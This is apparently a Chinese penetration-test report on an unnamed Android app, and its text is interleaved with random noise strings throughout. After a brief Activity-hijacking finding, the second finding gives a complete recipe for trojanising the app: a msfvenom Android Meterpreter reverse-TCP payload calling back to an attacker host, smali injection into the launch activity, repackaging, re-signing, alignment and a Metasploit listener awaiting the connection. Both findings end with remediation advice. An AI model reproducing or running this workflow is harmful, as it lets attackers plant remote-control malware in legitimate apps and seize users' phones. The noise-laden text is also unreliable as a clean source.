7 O" U; x* V9 a; h7 B$ X% Y $ s0 e& r4 q- }* t' S' C& i/ V6 r
1 H) J, Z1 f; W. D0 v8 {+ @; \
5 {; C; c& \+ k! O4 N( _
$ ?, t# y/ U/ u0 e- R4 R 表1-2 测试结果 ' s/ n/ m% Z7 D9 ]+ X' f
/ K @4 \$ }8 w5 M6 n7 G8 v! A
- J. n5 i) N1 E, P% ^" `* U- X8 S2 D0 p O T2 K3 C7 K0 a
7 C) o0 d9 G, ?; a" j" |+ w" \% R! u: K9 [; N
4 i1 V9 Y6 _0 m5 p/ t2 l, u6 p
3 ~6 X5 |6 s4 Q1 a) y+ e8 o" c
# }6 _/ l5 R5 X, L) ~" k" A4 g; o9 {# ^( e' p9 N) G; r
+ V/ C1 D2 b2 m2 z0 F* h
5 E7 q, a- ]/ @* x 2 检测结果 6 k$ ?& A, s: f$ k G6 u1 Y
. |' ~( M. X. D9 w6 ]6 Y
% M4 a: c8 Y a
. j3 m# t( P! r- `2 b a/ u# r
4 M' y! j# @& c' ^8 U* }
* d7 X7 `) P1 N3 x2 W6 ~ 2.1 某某某
* E) j. @; z- D* E; D' O& n
7 X; |5 ? e5 L6 Q; F * a G2 \# J" r" Y0 T K
5 ?2 h. {2 s0 L! }& p8 ], E5 @
. X/ O6 _0 \! `) d/ R, t7 k( I' E2 m& g5 l- k
2.1.1检测目标 8 P3 N+ w' [7 K& s2 z
) }9 p) j3 [& [
! B5 `- J4 H' }7 d1 e5 S
; B) _. ]$ b& ^9 a9 ~
, K1 ]. h* a% ~" L2 |
+ G4 m2 ]3 q8 p8 E) C I7 T: k! g 目标地址: 某某某某某某APP ( i9 k% J8 K Q$ q# @1 p
z$ |# M7 g( J' Y# C, P) S) V
3 u( A$ q& ~: r0 I* X$ k
( V3 O! {! i: u F4 o5 G0 S : N6 ]+ v) [ R' u, r: _3 r
% ~4 e2 E- I" p K6 y# w' m, j: Z 2.1.2检测结果
, N$ Z Q1 m' [
- r4 m5 `4 ~; q! C8 @( ~ - G! m" n, ?+ n( \
& t9 ]) I* Z- o( z " r' \2 ~" |7 c5 O! l( I# m) S
$ ^* V2 _/ T4 i
2.1.2.1 6 e, Q4 h$ W! }* d
6 g2 {7 ~0 e s2 Z; W
+ Y% K5 A4 a- o# E, k& b4 r; K( X* h w0 o: f1 q& o7 h/ n
# Q) \+ z7 f4 p
' Z2 k" \. M, ?- k _
漏洞链接地址:某某某某某某APP 4 H. Y. N+ C7 ]9 d
; T2 S- U4 i7 H1 G9 N& r4 t 8 I f% ~ L2 U5 s
6 b. G2 i8 q' a x& t9 v1 U
2 U6 f# T+ I2 \. q! z
+ u( n- B! J: l7 `6 R' q$ x ( {/ m# \5 s" I; Q7 B/ D+ f/ a
" q6 o$ Z9 B0 ^! M$ V! I4 J2 x2 g
* g. d: [1 C1 B0 Q, k& V1 b$ M" A/ |0 i: a9 z
3 P* U: |7 t1 x* Z. z; a% F
- \/ P' _6 J- V 漏洞分析及取证:
% m5 s1 L) `$ |5 |$ m2 e1 D! s. x, X6 d# p1 Y' i8 S
' |* J+ h3 \9 O5 K3 }! ~
; w6 ~) x, K; k0 x8 R" Z
# r1 i4 S& C) O* z) `- V3 b! T% J6 j- ~8 u: P6 n
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
- S! B9 P/ T1 l; l; G( G/ c5 ]1 z' x6 a' j9 Q1 Z% ?
5 a# x3 \6 K- j# l4 X# ]
3 Z/ R, ]" W4 L$ n) _' F " s8 F O2 j4 u8 i( _
. ~1 ?! l% [6 ^. V ; f$ {6 L7 B. J6 Z6 A$ p1 ^
8 ?8 Z+ x/ o3 B6 e3 p$ o) s3 b / ?5 `* m2 H& \, T
* ^9 w- ~5 O$ C, B. P " N/ t: G# U. c! v7 {* `4 s8 ^( O
4 B5 }8 ~( D. g C X7 U N
* @7 _* V R( u# ]% p
. L& q' @0 ?; N
4 I: c2 Z0 j) b
3 k6 k4 d# [; f
) K! M/ [4 A+ Y7 S
" X4 r/ j# |: S' b 1 h+ |/ p% E- z, ?3 ~6 P. j
0 v( ?! X# j- p6 t: ^$ }& w/ n1 o) L
& h% l6 u+ n( ^2 c. N' k( h& n( m7 D# |1 I# {6 J* D$ \
( U( {! [+ s8 x: N8 x$ u
$ i; Y. j: D! G+ D3 C k$ g ^
, ]7 J n, l" L
. c, H+ C' U4 f- z, Y / {* e& n q; m6 G
; L4 Y6 ?+ U# G9 R* u/ J. ?5 M
5 F: C$ h- i% l" b& S( t
3 _2 K) i- H& p / q9 w; V7 [* _+ f: {! C* q
8 p6 f2 u9 V. T5 k3 t! y! C! _, }5 w @ 7 I- |5 \7 N% h( `- R
, p, k: k9 e3 e2 Q- B. N& z
' o# J& Z6 ~4 U; Z4 l7 a. K' {/ J5 m' o+ d$ q# S$ j# N; T! l# A9 Z% n
漏洞危害:高
" g$ U) v5 H+ z
# } Z. B) H! T# P- h* Z 8 j7 X% Z x& r. q6 j6 ]0 j" _
. h9 z5 f2 |% H6 H& ~. G+ d+ J
! a9 p$ ]# v# N' V7 T8 h
; @% n$ v% B5 g/ g# ]% z) x7 t0 I " ?( N0 @3 Z7 k- E5 A% [" N
/ q+ i$ c3 ^& {) T+ o( z # v: Z+ f l3 H( o9 m$ G; A$ d2 k
Y3 G% ?% b* `0 V& r , h1 x3 N9 P* O- g
2 N" u, u" ?) L8 x Q) n0 m ( K+ v0 R, y3 [# v+ {
# R0 k3 C6 g( {, ^) A
8 H* h6 j, o3 E
7 U7 D9 J1 j7 R0 D* x
严重程度
: h5 ?0 w8 l2 _ [( f
$ \* S3 d n" N4 q4 u( m
! G5 @. |4 I, H# }
* m, H: Y) ]3 R1 E |( n | 2 f$ P2 T1 E d$ d" l
2 s+ ?3 \" D& j: N3 }3 Q$ u
+ l( I4 U: F- W2 z; y0 A
. D8 h2 {) q3 t. N6 R) i2 F4 [ 9 }: {, g6 S5 o; |4 n% a( Y/ n; k
9 b. ^2 M4 c: \7 w' @7 `' \# g
高
& F. {" R* Z4 e2 K3 W/ U+ O+ Z
* P( U3 s/ R8 `+ c4 v
, c% ^- {$ A+ S0 P0 X+ U3 Y5 e
5 C' }# W' T. d | 6 b' }, Y1 X8 N# N4 H$ L) s9 x
- O. A, }) ~3 s$ ?
! ]" K; x5 r# A8 O& @2 d1 ]1 g4 k
9 M6 S6 q! b/ g6 V/ P
% Z; y, M3 m" Z' F
! A) h! a5 k5 M0 S ■ 8 ]3 ^* N; b4 Y, J( d' C- p
6 ?; b3 o3 I4 Z& J2 {7 {5 U
1 W; s3 a% u* T+ L! g. I5 x* N# b
# S& t! `% \& N D: n' P; s | ! T! C; k& O' Y/ S& Q3 J
! t1 h, C! I" B0 X) @/ {( h4 P " M7 L( [) H* h4 ?' h0 e/ \
- y& B/ T+ A$ z; S& Q
$ O% b5 p, _, y! v" @
. I3 k# s, `2 k) T 中
9 Y4 K+ b- N. C- \/ U. H; ~0 n, R6 u8 T6 X
3 }- `0 h+ e) {- q/ u
* q- a# k( ]# W+ y4 D |
/ \! {. V6 \) O' d! L. ?8 ~2 \
- O8 E' X4 e* T. G3 w5 Q * ?8 w# [$ e6 A! G4 `
) T ~9 H& o9 j( o 5 @# g- I* N3 s q) x2 ^# B
9 y' O/ c9 `5 J2 B: H0 W7 R
- q- z$ o+ G" {0 r& |. O: A B f1 R _
) t* J G9 A% m( M5 G+ R
( b5 O+ u8 v4 [2 n$ t# ? | * h+ M( m8 z& u& D; R
1 C$ x$ t2 c1 I3 D: |; Y& J. d% a- d" v
2 ^/ r* r% W& J N3 Z6 S5 g( T
% u- K0 B1 ?$ F- e' _9 x1 o
0 O7 c. r5 u! r, o, H
$ V( d' }0 v& L" M% U
低 # Z. w3 ~5 ]7 m6 x
/ F6 r1 v8 m$ c; \$ ]/ A4 Z) l . f3 M+ ?- }. e' M; ]+ f
( ]# P' Z+ `4 i V3 l |
2 U& L/ J# X# E" `: N& {1 ]9 I, u3 a7 S+ w* ^; d/ N3 l. \4 Z
8 {. ~) ~* y& I6 _! F
/ ~1 `" G! o2 ^' d: C) [# H
: p0 l% J p: O5 a8 T2 s
5 H) I, E. H& P% I# J: E& @
, }$ R" m& g- e Q& ~
/ p7 L' l3 {( \) h' V# x7 }, ^
9 J: W& S. }9 X$ \/ B6 e* p9 A p' a8 f4 D* Y) n& W: O2 }+ W
| 3 j" L# ^& p9 O) K4 V0 O( M- V
5 C+ t- f7 q+ @$ `; d $ A) a* R1 ]; x9 `3 X. m" u+ M" \% \
! F. \, H( l) U3 r- O 8 G6 q K) Y4 P$ E, r' [
* N; e- J; l& h. _# y8 a$ l
* |& f5 z: X" m
( r4 |. D% [" q% U
" w3 Z' ?6 ?8 t& S* f/ R0 [8 `0 [- C& ]$ J! A3 t
! z( Q* d# r. e) c% b8 c% V0 o' W, D& f0 v
+ U: Q0 z& _1 [$ `/ |
" A6 T: e1 q6 u/ k% U; k; D
. o# t' Q/ l5 u. |. H, Z) Z0 A' b# o
S5 H# k6 T8 l8 s2 f9 R
2 e# o3 Z( h' a& Y3 [ 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
: m0 a$ G! |. [2 l0 q; K) b3 @6 X, g1 u" L" z- H t q0 p' l
; X. o# A, F' B0 Q3 m7 @4 x: s
1 f' {& O, q; Q% ?
1 F+ E6 \+ L4 \: o' _
3 U# J8 K* S# z- r
& O# o0 P( Z7 c1 s4 Y. A& `) m" k
' ~$ O, @; k4 N. u" Y$ M( O1 ~$ j
2 P. u# N1 o, i, T9 \& _( A ]" A+ @# y6 A$ L. q( ?8 ^
* d' T( L, f8 z c4 q
% l3 q- N0 U* }* x" N( z
- o; d0 H5 M I4 W: w4 p7 W
2 O$ ^* b/ r; ?. I5 X & [; n z$ N* j' ]
' Q9 i/ {9 l1 k- Z w6 p
7 `. v: f0 X( ?+ L2 h- G) |8 e1 f% {8 R
2.1.2.2 . `% n! R2 }" b6 {
+ e- ] n o6 M: Q" q" O
) N0 Z% \' d) P6 P& y: D7 V
1 S. l8 U7 z4 a4 h+ y
6 ^* }* C2 a& e# u% ]' c& h
. Z% w! } \. Y 漏洞链接地址:某某某某某某APP ) f2 l) _" \ Y, W4 I, Q
" P% t* {4 o, x; _4 k2 D
4 _# k) M7 a+ ?6 w" f
1 z/ L/ T! H+ d, I: ~' m " r( L, I; ~" M8 @' [/ q: f! G
- i( f8 {( |+ {& \: m) c3 a. k2 z 漏洞分析及取证: 1 l. v- c+ G; R9 f
, A' B' m6 }3 \. T
: V: @. p- Z1 u9 C9 [6 z/ g* k1 G+ d
3 j% l5 E! A+ o' w
1 k$ y+ d! f* p# Q |( p7 [* R9 l) e0 I; f& v+ ?* r! n
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
& Y- F9 S9 Q) s% R4 Z
& f1 `+ @1 X, F7 J3 A
! T: b0 j7 Z% P- c; s3 V* x4 j$ ?
9 O9 `# \* v1 t) O# H 3 F% M8 T6 S4 a6 V2 s H- H
2 C' [0 _1 |+ |" P" [. v
用Metasploit 生成木马 apk ; d8 g) a7 y Q2 M
8 p' I) ~8 ? |% F8 F
1 O1 _7 I! v7 y( r: D5 G: n( o' |
( [ V; F2 o% ^' i5 |0 G
+ H# Y4 G% d% S
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 6 e1 S% Q- P2 z4 D- E3 c
, N/ m% s) `& X1 t1 A7 Q# `% g # |6 I! b7 i' L, m5 j \
0 R+ F5 u' p- Y& m! O) e
. g3 D2 I% E2 i8 t7 {# ~! }% p% K" e+ d# ^1 m! X5 @2 w
反编译目标apk和木马apk ) r9 ~$ f& R6 _& f# K
# s; I) M$ N( [ 1 s; ~9 N/ [& E% ~
5 P2 ~* t9 f" _+ f" @4 w x! d8 b, l: v: i/ y, z
3 B+ D" a: x9 W
apktool d target.apk
6 |, R" E2 P3 M( H! d- w. _+ t5 p& S" Q# H. Y x- K
apktool d cockhorse.apk
, H R H5 O, v- ~4 W
3 s# t3 v# Y0 z8 m* O7 |) ?. b$ { : p( x8 R( }0 ?* Z
9 k# N6 x' h$ d1 \4 ?- M
3 j$ g& ?9 T" e; p P2 k* V9 x& C8 S. A0 s/ W9 D4 Z
木马 apk 注入目标 apk + e# Z6 ^; a1 j& Z8 C
1 D- f/ ~) I- N' ~3 J m
$ d3 K( v; V& w2 l( B0 ~& X5 P- q g) |8 B7 M. v2 ?% g9 q8 @0 |
a8 v4 _0 e; K) ~1 X9 u. P4 _0 _1 Y1 R
- g! c/ v! ~7 H 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码: 2 n/ |4 y, `& R6 G( m h
3 ]2 n$ u: k2 d invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V . L# `# Q: ~7 m
$ `9 d! L2 \$ ^
! r9 P& r- i7 }: {7 G
/ ~& P1 K6 z2 T. |* y: P
4 j, s9 A5 c0 @3 {$ E
' Z5 `9 W' u0 x: `. E/ Q+ } 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
+ o O5 @% r; |. G9 s# \& {
& t* ~! J5 j7 G* n q& O/ b
" z9 H# j- r' A8 E* k$ A! [5 ?8 `& @- @0 z3 G" P2 y
/ S; M0 [7 D2 u! |& O; M- C- W
2 |( p9 K' I; M$ F0 v 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 6 P( q* o8 W0 g1 ]. S& K* g
5 G. f% i6 f; T3 Q9 G0 r/ Z % q' b% \ ~ b; q- e
* D! p X5 |: l; E1 q" T
* K& y3 b. g" L' b; |) c
" d" Z7 c: `" ]4 ~ 回编译生成最终 apk 9 b1 I6 t0 y: N; o; o
; M/ D. [4 [8 M/ g 3 K4 S. h2 _( H3 `" }9 L
! J# t; R' N D" S# A9 w0 u. ^+ c9 i! d D
+ P+ M2 Q2 }: Y; E8 Y
: W) ]5 a: \5 m, W e+ N7 q
重新打包 ' y/ I, ]; j: D W" p. k. ]
, K" N8 n( s5 [
: s1 B# D+ B8 I, G6 W
1 W- c7 z0 K5 j B0 {; ~, U) s0 C * e% K1 r3 o2 I* P$ ^1 M+ F& S
) x* A' h' {; X5 U5 R0 q3 n/ j
apktool b -o repackage.apk target_app_floder
# S" }( U: K- \5 }- ~4 [0 }6 I3 n7 [4 g/ ?( @' C# q4 p4 Z" e7 W( \( `
: h5 F! ]+ P: Y3 _' G/ Y
3 r- r, N4 a' J1 u4 w 4 E' u. k- M% K; m' z
( z3 U8 |$ |( O1 J4 A 创建签名文件,有的话可忽略此步骤 $ y) c+ l) s# I* `; P/ I- t& y
& x$ E5 o/ V1 f1 K
9 y# r* ?5 I9 ~ L6 j0 E) @( y: n
- G; t4 j4 k# M0 c# v$ v ) A4 f; p e' v) V" o
( ^7 l8 v* r+ v) t* y- m D
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
K9 J& m: ]8 v# ~+ c* C: a0 U9 Y. @9 ^: a; N% b( i2 H$ _$ L; A. I
! i: Y/ c* S$ {) [- I, L
" f* a3 z9 }7 t, a4 R2 p4 x
: z9 C3 E r: O: P5 K1 g! I/ Y8 k
% O) _* M4 U4 d: M
签名,以下任选其一 & H+ M- J5 r0 I5 E: d
) W3 l' K% O+ {/ @9 h: ~
- M, U+ l7 l0 v( m# A. a6 l9 @
. O, ]: r; E4 m0 O! m- S- L' l6 R
' Z, e: L6 X e7 | E* d5 a z P& }5 X
jarsigner 方式
1 t% W. e5 U2 l, L/ s5 n$ r% z/ X0 w0 I; m8 @
/ q& Q; t% j; [) C) J! P; B2 V. q) O1 c: u7 B
; o2 m! ~' g5 ^% }% [1 v9 j s) |
+ f, T; ?- q- B0 L# k- Q3 ~' U' ^ jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
- Y" Q( f; t1 _. L& l- |2 i/ m! n9 d; h
# D2 r M9 Y T" `+ t+ g0 V
/ \! r4 \. w: X: z" D
* T2 n ?3 m) D
. E# @6 o' ^5 @$ x, j apksigner 方式
% k, ?' T Q- c: S+ V f
$ n+ u0 B' h0 [ J6 y
9 _: [3 F. U: M% [8 O( d6 z# D4 D. m! l" J t
) q9 _6 b, j9 |4 r4 `2 K
7 }4 A' s# a! R apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk + |) w1 y7 Q! h" I
; L9 j4 {# b! N : M) H) R+ F! z1 {) J
8 f4 q+ `' o, E9 j/ D( y0 G
. f( b9 T% d" t5 `5 Z7 z$ v
* ^! O1 z+ P+ V6 `5 ~
如需要禁用 v2签名 添加选项--v2-signing-enabled false % C# ^; L+ F/ s
" W- L% w- x4 L! m- K2 n c |9 Z
% }' H8 O. l8 L7 y. Z
* T* o$ x: ], c [# ~
, _$ {+ K+ Q+ Z
+ q# J9 j7 X0 o6 X0 x: s, ]& I 验证,以下任选其一
- x8 t) |( y# J: @ B3 U
" @5 r& L/ r B' a 6 N- S, [1 L8 G$ h4 ]. @) Q
4 U" t Q5 m4 E4 a. q! q
t I* T# J" ~# D
- e4 A5 [# \" q jarsigner方式 4 w' t0 A( b) x1 L
Z. m% {% k& T I4 \- W0 a
6 ]; R: @/ h) G3 U
* L3 J. O1 z9 I, q1 W; R$ Y
4 D, G5 @) A8 p `1 k6 } ^1 j, i5 H# j4 C3 O
jarsigner -verify repackaged.apk # I9 [: q+ Z3 X" U9 l* G
& ]0 u) |# K/ ~) n( |" x - d( z! @' d7 u% J. i
: ]* L. {/ J8 Q2 @* P
; g7 p* z7 X5 q
' ?. l; R/ x1 Q* @' H7 w1 e2 u) X apksigner 方式 / f \: D( _( d" f4 e9 `/ b
, W2 a/ ?6 o$ E* W
e% |/ W; Q, B8 d5 h [" D; m* n* i; h9 ~+ R
1 ]' Y N/ N7 F' M0 g% a/ y4 c8 [$ a
apksigner verify -v --print-certs repackaged.apk
9 \1 n+ X9 J* Q. l. b- }9 T4 l. ? k7 n9 a: T# C. H1 l# Q
5 d+ {1 i* r! `9 [4 X
- r" o: E! ]5 _8 H) m' y
' D+ ]$ i5 D2 `
# g4 V2 K1 i9 s; t$ _ keytool方式 ; S% v# u6 H2 D! |
$ s1 ^; S: E+ K5 X# V: W: o 8 ?7 |% W; E* O. V K/ u
6 ]8 ?- e& G2 f, |0 P# ]
% h3 F& C; n9 f
5 b' I f* U& g' Y+ i- @ keytool -printcert -jarfile repackaged.apk
" j; | W+ H0 L' G9 z/ W
2 s+ T( r' z1 H0 W' A4 ? ! g% g7 x1 C/ `/ }; a
3 }$ E! V# H+ E
5 {* U! |: O/ A0 E/ G* \ q2 ~7 `3 C3 ^2 P/ q
对齐
: w2 \1 N" X2 o) W+ n8 v* ~1 Z1 [) D
' q/ M, r' S% Z0 B$ F- Q
! }) n& g; ?3 f( U3 C6 |
0 t' b1 ?4 E2 c# v9 u- J2 h' x- \1 R9 j5 i* {
字节对齐优化
i, ?1 e# j3 C3 S3 o3 N. f3 b r
* Z* |& A; w* S! H* b ! A7 S7 C( I! a( D# f
/ {: M# `5 _ j, n3 z
0 S7 s1 {/ ]/ M) `$ w, o1 I; {6 f. W+ b: I6 z6 t9 T7 q! ~; P
zipalign -v 4 repackaged.apk final.apk * ~% n* l) D/ s, r
2 R1 t) r3 k$ w X) n/ z5 H# w% ]
; c' Q; ?. J6 Y- X) l0 w9 u1 @6 Z- r5 W( B& F3 A
9 U u3 b8 ^7 ~$ b+ s" h J
& S8 O: p+ y1 }0 O# v2 P1 I 检查是否对齐
; E+ _& u/ D) v8 Z3 ]% u! W) x
5 |- `' ]- t9 `9 W! r" J
' ~% @6 ?" A6 I9 u. G$ [' f# D
5 {: { d% S' w2 [; h2 P+ u3 k : M! F3 m1 v0 k0 p4 b+ [5 g
* Z. @9 N, a+ m; ]" ]* { zipalign -c -v 4 final.apk
- ]& C! a; N+ \1 G: H# j
& {9 Q& `' |8 P4 o. m' ` ! o/ j3 K2 q2 J. i
' H% f- w$ M" r- S7 `# ]
' U% d, ]* P: {/ l( W9 }$ ]: k9 n$ {# ~8 i0 u# x$ E- w* k9 W
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ) h! P# D: P3 j. _7 a$ ~! V) \4 t
* ?5 a' a2 ~# @- J
( Q0 X# f: H# U# G
! |- S4 C& l' b$ r7 e ^1 ]
7 F% p6 E1 C) y: W+ M+ F1 P
' C' {! D- \# c! h- q+ K 启动Metasploit控制台,配置参数等待上线 . Z6 M+ B7 `+ g
9 U; y% e' N* \* `
+ L' ]$ l1 ^- n8 R
- `0 N0 }7 x3 M9 d& O7 R/ S5 v
# ]0 d+ }( k9 ]. R# x0 k
" @* ^: n) G% m" A) R$ r. y: } 在终端依次输入如下命令
" S1 l3 V3 o# K, B6 j$ ]4 c& H1 d1 @7 v. @
0 ^/ P" P/ G! l; V9 Q
& t' @0 Z; X/ R9 Z: @4 N* X8 `) F 3 G8 D9 X( U6 Y4 {1 c. R
4 s3 M5 f5 e6 G1 K1 g4 h3 ~
msfconsole
6 ^5 S/ A, {+ c3 M# w3 R
5 l9 _- E0 A) s7 J; ?, i; s1 @
) [7 i# k" V7 w/ A3 `' {& d2 ?! o @0 r6 A+ ?- M
. a* h5 A# G3 V; b& u# X; P# ?% [/ x
9 V# o% _7 \+ t* S4 @& c) f7 h3 {0 W use exploit/multi/handler
. M, A+ z6 A% A0 Y, \" H& b" z ]
( Y6 d) v( q8 j: \9 h
( x( D) [3 t% H& w5 o & ]6 H V& C, j4 l
2 g1 u0 U$ o9 g5 f7 X% y set PAYLOAD android/meterpreter/reverse_tcp
' ^) `3 \5 {1 {9 Y( J2 I
. e1 ?. M( s2 E( ` ' u2 I& I c2 ^% {% z' M( V
5 O' o9 K: c7 A' O 4 z" q. x- G4 X: L4 \. T
# |! X7 S1 d2 G& w set LHOST 192.xxx.xx.xx : n! w* u9 T! W+ Q y
8 \. u: X0 S5 q+ Z a' B
8 Z: h0 L3 ~2 o' {
/ K; Q+ p. d/ }7 Z; J4 T$ c
* ~/ f9 v8 ?- [/ _( q, s9 h
: v7 Q7 E. T; R7 d+ H4 l set LPORT 4444 6 T) q8 u( `7 }0 H( f
* C; k$ ]. P/ A t- ?$ S2 y! F5 u
% u8 L {7 ~: o+ E& d3 ~
$ g: w* B. f' D" [! U, c) @3 x
+ A* g! b* r. b4 o2 }9 ^ exploit 1 r6 Q! |' {" B0 P4 ^6 G& R9 d
- X. ]9 i O1 M1 a( B: b' P
9 a1 Y4 {( ]+ d' K! u
9 e4 L: ?' b3 ^8 b8 P7 P
4 d+ g+ K. p/ \* I S& @
, ^5 |$ @2 e& Z 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
7 Y e6 e q; d, b8 E( x) J: |7 }: m' F0 L$ X
! x3 o4 P" e. y! n* f' N
8 B) T F' m i# W6 R, b$ p
7 Y( t; o+ z9 c' T/ U+ c5 i& c% l5 x4 [! B& T0 u# X
漏洞危害:中
! B+ K, o( e: F! S
( m2 A* Q5 Q2 m: a' `0 O ( n) z5 ?; m+ [- R' Y' k
, W+ c- c |5 ]8 T2 Q! {' B/ q ! k9 r2 T& |2 B. M9 b2 K
% J9 ]' {- a9 b, Z8 N0 W; u
1 U, |! C4 {% F8 M6 I5 y3 @( A3 q( v7 u8 I/ }( b9 @
/ {3 p$ h+ Y0 i3 l! X
+ z- S2 U& e4 j) B1 d
+ K( |# F# M! V- v- n
7 `5 g2 l5 F$ E8 \; k% {" O" {
' A T- k) M/ D2 X5 q: @
4 K3 U' @7 p) p9 O9 f& y: _ ! Z" r0 t+ ^3 F m i" y
0 s$ s/ g" ]' ~) z
, t! @) h: [7 M* Z1 f; z5 b7 u: c* J" |
严重程度
8 `8 X) T: D D" V7 s! o: g
4 t. U4 O3 S( s A) T
' P- X) `; a, V5 i: O0 S5 T
9 S1 x) e( c$ J0 ~2 y | 6 d2 y( U9 p4 [4 t/ \
+ E# o0 q" j5 M. R5 z6 ] ; x3 ~8 d: F9 E) y. s# u+ k
+ V# |$ q; [) F- j j* }& ?3 D
5 D$ y* \8 K- J3 L
2 F/ ]% \4 E& ]2 s" V$ T- c 高 n) c: ~4 _1 E$ F( w
5 o r, T; D2 O# a8 R
s4 N1 M( ^! q
1 r8 `' |( c* ~: `; ~ |
# S3 w% [$ z% m* A: [3 J8 `/ C, ]4 d3 |4 _; t2 L' |
# i ?8 \8 w, ^& Z
: H9 A$ V0 l, N! R* r, e 4 D: d7 W+ V' x
6 K3 \4 [: x4 Z4 z+ Y
■
0 K* Z2 f5 H! n# `4 N& x0 d; Y2 H( _& K, B
# I2 V' L* L; K1 t9 y+ ]) v
. {1 q8 ?9 V1 [, h0 `# K0 T | 6 Q& |" F6 L4 t7 I5 _1 M! t% ^, I3 J
3 M) Z% n O" M! E5 ]' T 3 d7 J, S7 d5 ^ w, H9 _
0 |# W& k( n* r1 `& k! c! Y / W% h: W! k& q Y/ k( s/ v$ g
/ D! r# C! M7 T9 V+ H 中 + M3 B8 \# @/ H$ d4 T1 v2 w
9 c" H- ~1 H5 H, l / v3 g; E2 d/ @- C6 Z
8 p8 u; H2 g+ N+ R: A) {% @! z2 P
|
9 E( |8 H. x' O4 k3 {) ]! Y- Q# Q' z1 I
1 `& ^, ~+ L4 i
; v. ] x; R6 i+ t
* X7 O* r! i: I# r6 o. |* h* P$ d6 b, A0 r
8 _/ G* W4 q {+ E1 C2 `) ?
2 Y) J. \; Y H' \
^8 y3 }+ p& j% S% P$ M" f# U2 [: o( o
% Y7 b5 }( E0 v& A( c$ L6 m* c' \# J# k9 Z4 d+ W. d: n. O$ E7 q
|
' b+ W" h3 N/ P5 m+ w3 E
% h' V, d; J% C8 m+ O) N 1 W8 U9 V# Q6 G# [" m
! Q& m: U7 ~7 Q2 k! t9 @
' r9 z4 j6 _2 b/ ^* z1 H. s
S8 j. D' k2 \0 f 低 ) w8 Q t: v+ A t: x, t
4 Z- r1 _/ P2 K& W; ?2 b
, U3 ]/ |) V! Y- }5 {; {
$ L3 r! ]7 C3 I- g w7 d, F0 X5 |
|
[8 z/ E$ h3 w" {8 L; u1 P, u: D1 j: W6 K
9 E0 O; J `2 ?+ ` y# d% ^) r3 R; P. Z3 D) E6 F; d
& m- n& F; i3 R; c2 V8 ^" _
- V- ~" u! }9 ~1 A
" p: B9 j) p9 b# g
, R( T! M4 }& G 8 Z6 L* q0 {) P, \- C& X2 N% `
( M q( w P- D- ~, C% v4 q
7 u- o, |5 Z/ y# B3 T
: r/ v3 D: |6 B' G& x; g+ w5 Q | : s9 a% r& r, b
. f# G5 S- y- ?" M* w6 N
: s$ E; }( m9 B7 U9 C. {6 @
: E/ H+ u g! k% x4 y: Y/ U
. P6 a6 ?. X) O( {0 {
) { n0 h# _4 R5 A" \ 5 B3 G- Q4 H# Q$ D& U0 R
6 ~' ^8 z" [" N/ O# {
1 r: l7 p/ P. K
% M6 r' n9 z- y5 l& |# I' b
" \) O' c7 I9 h& m( Q6 `
6 }& \- \& ~8 C7 `; I 1 w% K( j% m. f& g# ]8 Y, r
) i) i. R& A# R1 r: A6 ^6 x
` p6 h/ k9 m. I" Y
% ?- N; I5 P9 p' ~
5 a) I7 R6 k4 ~- q! K
( ~1 l+ H) ^) R! g& l) U 修复方法: 2 Z( p& k/ q& K0 L d. y
6 u4 O2 ~ v" V- W/ ^ ; a+ y& s) A' R5 S( L+ \! u4 p$ z% a
3 Z* y9 E4 h- K. C1 i- C
; H u# Y' A1 H/ r' G
' F/ C+ q2 y) }) _* P 1.在 APP 启动时应做签名校验防止二次打包。
; K9 _. F k6 B1 Z
- o: [9 G# g4 {0 H% C, A! `8 B 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
8 f7 S6 z: S0 d; W' G0 ]
+ k6 ^+ U7 g: K4 w- N# X* L' e
3 k3 l! Y) T1 c5 {+ `# }, d
: I* Y, v" H$ |0 J0 D+ T0 Q
/ A5 y+ `* q( E, i2 E$ p; t9 }* T5 G, t" }4 T
- ]3 E Z; H9 [0 u: B. _' h$ P
5 e$ Z1 Q j& v
; @' e8 t7 x, w$ B4 u5 {9 X
8 d4 L; I5 G( x! g8 ^* B" K0 ]. m
! K0 [; d* F$ w5 {( i : [* Z6 U+ E3 o1 N6 ~* I
: T' U9 a. T0 J3 C2 Z
% x! H) y% D+ ~; j4 {
" I( S1 W% s& x1 j' @( J
4 u0 O* i- N2 j& [+ W, u, {7 F
, y4 R7 b( e: f# B5 h
2 B' Y2 e. B1 c0 Q' w+ h& W0 B& d7 z9 N4 T( p
|